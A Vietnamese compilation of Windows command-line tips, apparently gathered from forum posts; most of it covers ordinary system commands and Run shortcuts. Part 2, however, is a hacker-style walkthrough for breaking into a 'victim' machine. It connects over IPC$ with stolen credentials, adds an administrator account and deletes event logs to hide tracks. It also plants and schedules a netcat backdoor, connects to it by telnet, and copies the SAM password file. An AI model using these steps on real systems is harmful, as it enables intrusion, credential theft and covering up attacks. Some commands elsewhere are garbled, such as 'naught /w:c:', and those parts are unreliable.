I- Phần 1
*Xem info hệ thống-ngày cài đặt: msinfo32 và systeminfo
*Cách copy thông tin cmd:
Chuột phải→ Select All→chuột phải (2 lần)→Select All→Ctrl+C
*Mở bàn phím ảo bằng cmd hoặc run: osk
*Để xem số Serial Laptop:
wmic bios get serialnumber
*Xem tên của máy tính bằng dòng lệnh: wmic csproduct get name
1- Để kiểm tra thời hạn Windows, bạn chạy Command Prompt ở chế độ Admin và gõ câu lệnh :
slmgr /dlv
Số ngày hết hạn sẽ hiện ra.
2- Thời hạn bản quyền
slmgr.vbs -xpr
Nếu hiện ra bảng thông báo : windows(r) professional edition : the machine is permanently activated <== là vĩnh viễn còn có ngày tháng là active ko vĩnh viễn có thời hạn
3- Xem các giấy phép và thời hạn của Windows
Vào Command Prompt (Admin) gõ các lệnh sau:
Để xem thông tin giấy phép hiện tại của Windows 8, gõ lệnh sau:
slmgr /dli
Để xem thông tin chi tiết của các loại giấy phép hiện hành, gõ lệnh sau:
slmgr /dlv
Để xem ngày hết hạn của giấy phép hiện hành, gõ lệnh sau:
slmgr /xpr
Để kéo dài giấy phép này thêm 3 tháng nữa cho bản Windows 8, gõ lệnh sau:
slmgr /rearm
Khởi động lại máy bạn có thể tận hưởng tiếp 90 ngày bản quyền cho Windows 8 Enterprise.
(Nó sẽ làm cho Win 8.1 thành Not Activated ! ???)
4-Key windows
*Gỡ bỏ key:
slmgr -upk
để gỡ bỏ các KEY đã cài trước đó, đưa máy về trạng thái ko có key nào.
*Tìm Product key windows trong máy:
slmgr /ipk
5- Backup windows 7-8-8.1
wbAdmin start backup -backupTarget:D: -include:C: -allCritical -quiet
(Với C là ổ hệ thống chứa win, D là ổ lưu file ảnh ổ hệ thống, các bạn có thể thay bằng F nếu muốn lưu xuống ổ F )
* Nếu bạn muốn sao lưu nhiều ổ hoặc nhiều phân vùng cùng lúc, bạn có thể sử dụng dấu chấm phẩy '{C};{C}' để ngăn cách giữa các lựa chọn như sau:
wbAdmin start backup -backupTarget:E: -include:C:,D:,F: -allCritical -quiet
Hoặc sao lưu vào một vị trí nào đó trong hệ thông mạng của bạn như sau:
wbAdmin start backup -backupTarget:\\remoteComputer\\Folder -include:C: -allCritical -quiet
Ngoài các lựa chọn khuyến khích trên, bạn có thể tìm hiểu thêm các lựa chọn khác thông qua hướng dẫn chi tiết về cách sử dụng dụng câu lệnh wbAdmin tại hướng dẫn của Microsoft.
6-Tạo System Image
Tạo System Image sử dụng Recimg.exe
Cài windows 8 vào ổ C nên sẽ lưu lại file này vào ổ D (hoặc E,F) tên là MySystemImage. Để tên folder là D:\MySystemImage:
recimg -CreateImage D:\MySystemImage
6- Khởi động máy vào Safe mode bằng lệnh:
msconfig
thông qua hộp thoại Run
7-Sửa-phục hồi file hệ thống
Windows bao gồm một công cụ gọi là System files checker dùng để quét toàn bộ các tệp tin hệ thống và tìm ra các vấn đề. Nếu các tệp tin hệ thống bị mất hoặc bị hỏng, công cụ này sẽ tự động sửa chúng. Lệnh:
sfc /scannow
8-Phục hồi hibernate
Để đặt chế độ ngủ đông ở trạng thái không khả dụng: dùng lệnh:
powercfg.exe /hibernate off
Để đặt chế độ ngủ đông ở trạng thái khả dụng, dùng lệnh:
powercfg.exe /hibernate on
9-Tìm hoặc thay đổi nhanh địa chỉ IP máy tính
Ipconfig
10-Xóa vĩnh viễn dữ liệu: cipher
Để sử dụng lệnh Cipher, bạn chỉ cần chỉ định một ổ đĩa hoặc một thư mục cụ thể chẳng hạn như:
cipher /w:c:
hoặc: naught /w:c:
10a.Lệnh COPY :
cú pháp: COPY "nơi muốn lấy" "nơi đến" /Y ( /Y: copy không cần hỏi )
ví dụ: copy file A.exe từ D:\Bau đến C:\Program Files
COPY "D:\Bau\A.exe" "C:\Program Files\A.exe" /Y
10b.Lệnh DEL : (xóa):Phải thêm đuôi định dạng file: .jpg, .exe, ….v.v.
Xóa file cứng đầu: Q:xóa không cần hỏi
DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] "tên file cần xóa"
/P : Hiển thị thông tin file trước khi xóa
/F : Xóa các file có thuộc tính read-only
/S : Xóa file đó trong tất cả các thư mục
/Q : Xóa không cần hỏi
/A[[:]attributes] : xóa theo thuộc tính file
attributes : R: Read-only files, S: System files, H: Hidden files
ví dụ 1: xóa tất cả file trong thư mục C:\WINDOWS\Prefetch
DEL /f /s /q "C:\WINDOWS\Prefetch\*.*" (*.* : tất cả các file)
Ví dụ 2: xóa file ảnh London trong thư mục F:\Foto:
DEL /f /s /q "F:\Foto\London.jpg"
Trường hợp dưới đây có thể là xóa thông thường:
*Các bạn chỉ giúp mình, mình có 1 file 123.dll cần xóa nằm ở vị trí có đường dẫn như bên dưới:
C:\Documents and Settings\PC\Application Data\Phanmem\123.dll
Theo lệnh sau đây:
Del "C:\Documents and Settings\PC\Application Data\Phanmem\123.dll"
10c.Lệnh RD : (xóa thư mục). Xóa folder cứng đầu:q:xóa không cần hỏi
cú pháp : RD /s /q "thư mục cần xóa"
ví dụ : xóa thư mục Intel trong ổ đĩa C:\
RD /s /q "c:/intel"
( /s : xóa toàn bộ cây thư mục, /q : xóa không cần hỏi )
10d.Xóa Windows.old
RD /S /Q %SystemDrive%\windows.old
10e.Lệnh MD : (Tạo thư mục)
cú pháp MD "tên thư mục cần tạo"
ví dụ : md "c:\bau" (tạo thư mục bau trong ổ đĩa C:\)
Lệnh IPCONFIG : ( xem IP của máy tính đang sử dụng )
cú pháp : ipconfig /all
Lệnh NET VIEW :
cú pháp : Net view (hiện danh sách các máy tính trong mạng cùng Domain)
Net view \\tenmaytinh (hiển thị các tài nguyên được chia sẻ của tenmaytinh)
10f.Lệnh SHUTDOWN : (Tắt, khởi động lại máy tính)
cú pháp : shutdown -s -t 30 (tắt máy sau 30 giây, -s : shutdown)
shutdown -r -t 40 (khởi động lại máy sau 40 giây, -r : restart )
10g.Lệnh TASKKILL : (Tắt 1 ứng dụng đang chạy)
cú pháp: taskkill /f /im Unikey.exe (tắt Unikey)
taskkill /f /im IEXPLORE.EXE (tắt Internet Explorer)
10h.Lệnh REG ADD : (tạo, chỉnh sửa registry)
cú pháp : REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
ví dụ :
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v MenuShowDelay /t REG_SZ /d 0 /f
(thêm 1 data tên MenuShowDelay, kiểu dữ liệu REG_SZ, tham số là 0)
10i.Lệnh REG DELETE : (xóa values, data trong registry)
cú pháp : REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
ví dụ :
reg delete "HKEY_CURRENT_USER\Software\WinRAR SFX" /f
(xóa values WinRAR SFX trong key HKEY_CURRENT_USER\Software\)
reg delete "HKEY_CURRENT_USER\Software\Symantec\Symantec Ghost\Explorer\Ghost
Explorer\Recent File List" /v File3 /f
( xóa data "File3" trong "HKEY_CURRENT_USER\Software\Symantec\Symantec Ghost\Explorer\Ghost
Explorer\Recent File List" )
10j.Lệnh REGEDIT.EXE : (chạy 1 file .reg)
cú pháp : Regedit.exe /s "nơi chứa file .reg" ( /s : không cần hỏi)
ví dụ :Regedit.exe /s "C:\bau\thongtin.reg"
(chạy file thongtin.reg trong thư mục C:\bau)
10k.Lệnh ATTRIB : (đặt thuộc tính cho file , folder)
cú pháp: ATTRIB -A -S -H -R "file, thư mục"
ATTRIB +A +S +H +R "file, thư mục" /S /D
Trong đó:
dấu "-" : loại bỏ thuộc tính
dấu "+" : Thêm vào thuộc tính
A : (Archive) : thuộc tính lưu trữ
S : (System) : thuộc tính hệ thống
H : (Hidden) : thuộc tính ẩn
R : (Read - only ) : Thuộc tính chỉ đọc
/S : thực hiện với tất cả file nằm trong thư mục hiện hành, và tất cả các thư mục con.
/D : đặt thuộc tính cho thư mục và thư mục con, chứ không đặt thuộc tính cho file.
ví dụ : attrib +h "e:\nhac" /d
(ẩn folder "nhac" trong ổ đĩa E:\, thay +h thành -h thì sẽ hiện lại thư mục "nhac")
Chỉ cần biết những lệnh cơ bản như trên, và 1 chút hiểu biết về registry, bạn có thể làm được rất nhiều việc để chỉnh sửa, tối ưu máy tính.......chỉ bằng 1 cú click chuột + 3 giây sau, mọi thông tin trong máy tính sẽ theo ý mình .
11-Kiểm tra IP của máy: ipconfig
12-Xóa 1 IP address
To remove a static IP route:
route deletedestination
where:
destination specifies either an IP address or network name for the remote TCP/IP host computer or network.
For example, to delete a static route to the 10.0.0.0 network, you type the following at a command prompt:
route delete 10.0.0.0
13-Netstat, cách sử dụng
Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
netstat -a , netstat -n ,….
Netstat [/a][/e][/n]
- Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
- Tham số /e: hiển thị các thông tin thống kê Ethernet
- Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối…
Ngoài ra còn một vài tham số khác, hãy gõ Netstat/? Hoặc: netstat -? Hoặc: netstat –interval để biết thêm công dụng.
II- Phần 2
Trong Windows XP có nhiều lệnh , nhưng thông thường chúng ta hay dùng các lệnh sau ( để chạy những lệnh này bấm Start --> chọn Run --> bấm CMD --> bấm OK ).
1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....
2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn
4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...
6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp
7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.
8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: địa chỉ IP của victim. - xxx: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).
9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cần add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add
10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.
11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.
12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)
14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.
15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.
16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx
17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP) Trên đây là một số hiểu biết hạn hẹp của em về các lệnh CMD, em đã đọc được từ rất nhiều nguồn khác nhau, nay tổng hợp lại cho mọi người tham khảo. Có một số lệnh em vẫn chưa hiểu cấu trúc lệnh và chưa có điều kiện để thực hành thử nên ko hướng dẫn kỹ. Ai biết thì góp ý nhé! Mong các pro đừng cười! Nếu thấy bài viết của em hay thì làm ơn thank cho một cái nhé
19 bootcfg : xem thiết lập phần tải hệ điều hành ban đầu .
20 defrag : lệnh này dùng để dồn đĩa cứng .
21 diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết .
22 driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng .
23 getmac : nhận địa chỉ MAC ( Media Access Control ) của Card mạng .
24 gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm.
25 netsh : công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH>
26 openfiles : cho phép Admin hiển thị hoặc bỏ kết nối những file đang mở trong XP Pro . Bấm OPENFILES/? để biết thêm về tham số .
27 recover : khôi phục những thông tin không thể đọc được trên đĩa .
28 reg : công cụ cho Registry .
29 schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số .
30 sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng .
31 shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa .
32 systeminfo : hiển thị những thông tin cấu hình cơ bản .
33 tasklist : cho chúng ta biết những chương trình nào đang chạy .
34 taskkill : tắt những chương trình đang chạy
35 dxdiag : cấu hình
III- Phần 3: Các lệnh Run
appwiz.cpl : mở cửa sổ Add/Remove Program
calc : Mở công cụ máy tính cá nhân
charmap: mở bảng có các kí tự đặc biệt mà bạn sẽ cần khi không thể tìm thấy nó trên bàn phím
chkdsk: sửa lỗi những file bị hỏng
cleanmgr : dọn dẹp ổ cứng (bạn có thể tùy chọn ổ để dọn dẹp)
clipbrd : mở cửa sổ xem trong bộ nhớ tạm của windows đang có gì
control : mở Control Panel
cmd : mở cửa sổ dòng lệnh
control mouse: mở bảng điều khiển chuột
dcomcnfg : mở bảng của những component serivices có trong windows.
debug : công cụ lập trình ngôn ngữ Assembly
drwatson : ghi lại và chụp lại những chương trình bị lỗi, crash trên windows
dxdiag : mở bảng chuẩn đoán DirectX
explorer : mở Windows Explorer
fontview : công cụ xem font ở dạng đồ họa
fsmgmt.msc: mở các folder đang chia sẻ.
firewall.cpl : sử dụng để chỉnh sửa, cấu hình tường lửa
ftp : chạy chương trình ftp
hostname : cho chúng ta biết tên của máy tính
hdwwiz.cpl : mở bảng Add Hardware
ipconfig : hiển thị thông số liên quan đến card mạng
logoff : lệnh để logoff máy tính
mmc : mở bảng console quản lý của Microsoft
mstsc : sử dụng để dùng remote desktop
mrc : công cụ loại bỏ các phần mềm độc
msinfo32 : công cụ xem thông tin hệ thống của Microsoft
nbtstat : hiển thị các stat và kết nối hiện thời đang sử dụng giao thức NetBIOS qua TCP/IP
nslookup : cho chúng ta biết hiện tại DNS server cục bộ
osk : sử dụng để mở bàn phím ảo
perfmon.msc: sử dụng để cấu hình hoạt động của màn hình
ping : gửi dữ liệu đến 1 host/Ip cụ thể
powercfg.cpl: sử dụng để cấu hình lựa chọn về sử dụng điện năng trong máy
regedit : công cụ chỉnh sửa Registry
regwiz : mở bảng Registration
sfc /scannow: sử dụng để kiểm tra file hệ thống
sndrec32 : mở Sound Recorder (trình ghi âm sẵn có của windows)
shutdown : để tắt windows
spider : mở game spider của windows
sndvol32 : chỉnh độ to của volume card âm thanh
sysedit : chỉnh sửa những file chạy khởi động
taskmgr : mở cửa sổ task manager
telephon.cpl: sử dụng để config modem
telnet : mở chương trình telnet
tracert : dùng để kiểm tra dấu vết và hiển thị đường đi đến các host trên internet.
winchat : công cụ chat của Microsoft
wmplayer : mở Windows Media Player
wab : mở cửa sổ địa chỉ của Windows
winword : sử dụng để mở ứng dụng Word của Windows
winipcfg : hiển thị cấu hình của IP
winver : dùng để kiểm tra phiên bản hiện tại của Windows
wupdmgr : cấu hình Update của Windows.
write : sử dụng để mở WordPad.
appwiz.cpl : mở cửa sổ Add/Remove Program
calc : Mở công cụ máy tính cá nhân
charmap: mở bảng có các kí tự đặc biệt mà bạn sẽ cần khi không thể tìm thấy nó trên bàn phím
chkdsk: sửa lỗi những file bị hỏng
cleanmgr : dọn dẹp ổ cứng (bạn có thể tùy chọn ổ để dọn dẹp)
clipbrd : mở cửa sổ xem trong bộ nhớ tạm của windows đang có gì
control : mở Control Panel
cmd : mở cửa sổ dòng lệnh
control mouse: mở bảng điều khiển chuột
dcomcnfg : mở bảng của những component serivices có trong windows.
debug : công cụ lập trình ngôn ngữ Assembly
drwatson : ghi lại và chụp lại những chương trình bị lỗi, crash trên windows
dxdiag : mở bảng chuẩn đoán DirectX
explorer : mở Windows Explorer
fontview : công cụ xem font ở dạng đồ họa
fsmgmt.msc: mở các folder đang chia sẻ.
firewall.cpl : sử dụng để chỉnh sửa, cấu hình tường lửa
ftp : chạy chương trình ftp
hostname : cho chúng ta biết tên của máy tính
hdwwiz.cpl : mở bảng Add Hardware
ipconfig : hiển thị thông số liên quan đến card mạng
logoff : lệnh để logoff máy tính
mmc : mở bảng console quản lý của Microsoft
mstsc : sử dụng để dùng remote desktop
mrc : công cụ loại bỏ các phần mềm độc
msinfo32 : công cụ xem thông tin hệ thống của Microsoft
nbtstat : hiển thị các stat và kết nối hiện thời đang sử dụng giao thức NetBIOS qua TCP/IP
nslookup : cho chúng ta biết hiện tại DNS server cục bộ
osk : sử dụng để mở bàn phím ảo
perfmon.msc: sử dụng để cấu hình hoạt động của màn hình
ping : gửi dữ liệu đến 1 host/Ip cụ thể
powercfg.cpl: sử dụng để cấu hình lựa chọn về sử dụng điện năng trong máy
regedit : công cụ chỉnh sửa Registry
regwiz : mở bảng Registration
sfc /scannow: sử dụng để kiểm tra file hệ thống
sndrec32 : mở Sound Recorder (trình ghi âm sẵn có của windows)
shutdown : để tắt windows
spider : mở game spider của windows
sndvol32 : chỉnh độ to của volume card âm thanh
sysedit : chỉnh sửa những file chạy khởi động
taskmgr : mở cửa sổ task manager
telephon.cpl: sử dụng để config modem
telnet : mở chương trình telnet
tracert : dùng để kiểm tra dấu vết và hiển thị đường đi đến các host trên internet.
winchat : công cụ chat của Microsoft
wmplayer : mở Windows Media Player
wab : mở cửa sổ địa chỉ của Windows
winword : sử dụng để mở ứng dụng Word của Windows
winipcfg : hiển thị cấu hình của IP
winver : dùng để kiểm tra phiên bản hiện tại của Windows
wupdmgr : cấu hình Update của Windows.
write : sử dụng để mở WordPad.
IV- Phần 4
Tổng hợp 10 lệnh hữu ích trong Cmd - Windows bạn nên biết
Tổng hợp 10 lệnh hữu ích trong Cmd - Windows, câu lệnh hữu ích, các thủ thuật hay,cac cau lenh trong cmd
Có một số việc bạn chỉ có thể thực hiện từ việc gõ dòng lệnh trong Command Prompt hoặc PowerShell, trong khi đó các công cụ này không có tương tác đồ họa và khó sử dụng hơn so với những chương trình có giao diện cụ thể.
Lý do chính là Command Prompt được sử dụng để thực thi tệp tin batch, thực hiện các tác vụ một cách nhanh chóng, giúp bạn gỡ rối và giải quyết một số vấn đề của Windows khi hệ thống gặp sự cố. Tuy vậy, không phải hầu hết các lệnh trong Windows đều hữu ích và thường xuyên phải thực hiện. Với 10 dòng lệnh trong bài viết dưới đây rất có ích ngay cả khi bạn không phải là một người quản trị.
Ipconfig: Tìm hoặc thay đổi nhanh địa chỉ IP máy tính
Tuy bạn có thể tìm thấy địa chỉ IP của máy tính từ trong Control Panel, nhưng điều này cần phải thông qua một vài cú nhấp chuột. Lệnh ipconfig trong cửa sổ Command Prompt là cách nhanh nhất để xác định địa chỉ IP và các thông tin khác như địa chỉ Gateway mặc định, Subnet Mask.
Ipconfig /flushdns: Xóa toàn bộ dữ liệu trong bộ nhớ DNS
Nếu bạn thay đổi DNS server, hiệu ứng sẽ không nhất thiết phải diễn ra ngay lập tức. Khi đó Windows sử dụng một bộ nhớ đệm (cache) để lưu lại các phản ứng DNS nhận được nhằm tiết kiệm thời gian khi bạn truy cập vào địa chỉ cũ một lần nữa trong tương lai.
Như vậy để đảm bảo Windows nhận địa chỉ từ một DNS server mới thay vì sử dụng địa chỉ cũ trong cache, bạn chỉ cần chạy lệnh ipconfig /flushdns sau khi thay đổi DNS server của mình.
Ping: Kiểm tra kết nối với một máy tính khác
Khi gặp các vấn đề về kết nối với một trang web hoặc một máy tính khác trong mạng nội bộ, Windows đã cung cấp sẵn một lệnh giúp bạn exam các kết nối để xác định tình trạng của mạng đó là lệnh Ping. Chỉ cần gõ Ping cùng với một địa chỉ IP hoặc địa chỉ trang web và Enter là xong.
Shutdown: Tạo một Shortcut tắt máy nhanh trong Windows 8
Lệnh Shutdown rất hữu ích trong Windows 8, bạn có thể sử dụng nó để tạo ra các by-pass cho riêng mình và đặt chúng trên màn hình Start Screen hoặc Desktop để dễ dàng tắt hoặc khởi động lại máy mà không cần phải truy cập vào thanh Charms.
Để thực hiện, hãy tạo một by-pass và nhập shutdown /s /t 0 nếu muốn tắt máy và shutdown /r /t 0nếu muốn khởi động lại máy.
Recimg: Tạo điểm phục hồi tùy chỉnh trong Windows 8
Tính năng Refresh Your PC trong Windows 8 cho phép bạn phục hồi lại máy tính về trạng thái anathema đầu từ một bản cài đặt Windows gọn nhất hoặc từ nhà sản xuất.
Bạn có thể tạo một điểm phục hồi tùy chỉnh tùy theo ý mình nhưng tính năng này lại bị ẩn trong Windows, vì vậy cần phải thực hiện với lệnh Recimg từ Command Prompt. Khi thực hiện lệnh này, bạn có thể loại bỏ bloatware cài đặt từ nhà sản xuất hoặc thêm các chương trình yêu thích vào điểm phục hồi của mình.
Wbadmin start backup: Tạo ảnh phục hồi hệ thống
Như bạn đã biết, Windows 8.1 đã loại bỏ giao diện Backup của Windows 7 – Nơi cho phép bạn dễ dàng tạo ảnh sao lưu hệ thống để phục hồi khi cần thiết. Ảnh hệ thống (System images) chứa một bản chụp lại toàn bộ hệ thống dưới một tệp tin duy nhất, do đó nó khác với Recovery Images của Windows 8.
Trong khi giao diện đồ họa đã được gỡ bỏ, quản trị hệ thống và chuyên viên máy tính vẫn có thể tạo ra bản sao lưu hệ thống bằng cách chạy lệnh Wbadmin start backup trong công cụ PowerShell.
Sfc /Scannow: Quét các tệp tin hệ thống
Windows bao gồm một công cụ gọi là System files checker dùng để quét toàn bộ các tệp tin hệ thống và tìm ra các vấn đề. Nếu các tệp tin hệ thống bị mất hoặc bị hỏng, công cụ này sẽ tự động sửa chúng. Để sử dụng System files checker, bạn hãy mở cửa sổ lệnh Command Prompt và gõsfc /scannow.
Telnet: Kết nối với Telnet Servers
